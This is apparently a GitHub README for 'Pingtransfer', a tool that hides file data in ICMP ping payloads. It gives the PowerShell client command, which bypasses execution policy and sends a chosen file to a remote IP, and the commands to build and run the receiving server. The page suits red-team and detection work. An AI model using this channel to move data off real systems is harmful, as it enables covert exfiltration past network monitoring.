Skip to content

Latest commit

 

History

History
33 lines (22 loc) · 813 Bytes

README.md

File metadata and controls

33 lines (22 loc) · 813 Bytes

Pingtransfer

This is a simple tool to transfer data through a ping covert channel.

Data is injected in the payload part of the ICMP echo packet (see the Ping RFC Document for more details):

ICMP Structure

PowerShell client:

  • Encodes the data in base64
  • Create chunks of the size of the default MS Windows ICMP payload (32 Bytes)
  • Send each chunk to the server

Usage:

powershell.exe -ExecutionPolicy Bypass -File ping-client.ps1 yourtargetip /path/to/your/file

C Posix server:

  • Need a C compiler

Usage:

gcc pingserver.c -o pingserver
sudo ./pingserver

Special thanks to Pedro Laguna for the idea and the follow up ! Thanks to my team too for their great feedback !